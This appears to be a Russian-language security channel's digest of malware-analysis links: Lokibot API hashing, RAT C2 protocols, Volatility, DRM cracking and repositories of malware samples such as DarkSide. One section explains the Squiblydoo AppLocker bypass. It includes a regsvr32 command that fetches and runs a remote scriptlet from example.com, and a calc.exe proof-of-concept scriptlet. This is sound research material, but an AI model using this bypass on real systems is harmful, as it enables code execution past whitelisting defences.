A Malware Configuration Extraction Tool (icedid)

https://mwcfg.info/

Office365 MacOS Sandbox Escape

https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c

VOLATILITY 3 CHEATSHEET

https://blog.onfvp.com/post/volatility-cheatsheet/

Нежелание тратить львиную часть зарплаты на кассеты для посудомоечной машины привели к написанию этого невероятно годного ресерча.

https://telegra.ph/Vzlom-DRM-Umnoj-posudomoechnoj-mashiny-05-04

Обзор кастомных протоколов общения с c2 популярных rat

https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols

Lokibot - популярный стилер, одной из характерных черт которого является api hashing

Очень подробное описание того, что такое api hashing, на примере как раз Lokibot

https://neil-fox.github.io/Anti-analysis-using-api-hashing/

Образцы Lokibot можно найти тут

https://bazaar.abuse.ch/browse/tag/Lokibot/

intel bug bounty

https://www.intel.com/content/www/us/en/security-center/bb-pentium-celeron-atom.html

Мы загрузили 37 образцов малвари DarkSide

https://vxug.fakedoma.in/tmp/

(Имя файла Darkside)

Список инструментов для malware analysis macos малвари

https://docs.google.com/document/d/1xOWmMueHHRke9aj3oRqNBgK69Y19hgZ7ehM4H9_Me-Y/mobilebasic

Squiblydoo

AppLocker - фича винды (начиная с 7) позволяющая создать белый список запускаемых приложений. Приложения которые не входят в белый список, запустить нельзя. В 2016 году появился способ обхода данного ограничения, с помощью regsvr32.exe. regsvr32.exe - это легитимный виндовый бинарник регистрирующий DLL файлы в реестре. Он также является так называемым LOLBin (список лолбинов и их использование во вредоносных целях можно найти тут). regsvr32.exe позволяет также скачивать и запускать скрипты (sct) с удаленного сервера.

regsvr32.exe /s /i:http://example.com/test.sct scrobj.dll

Данная техника называется Squiblydoo. Несмотря на то, что техника стара, она все еще используется. На скрине пример вредоносного VBA макроса с довольно свежего сэмпла.

Пример sct скрипта

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>

В реальности они обфусцированы и выглядят обычно как-то так

Virustotal на минималках 🤡

A utility to fix intentionally corrupted UPX packed files.

https://github.com/lcashdol/UPX

A native packer for Android/MoqHao

https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1

Теория Process Injection

https://youtu.be/tBR1-1J5Jec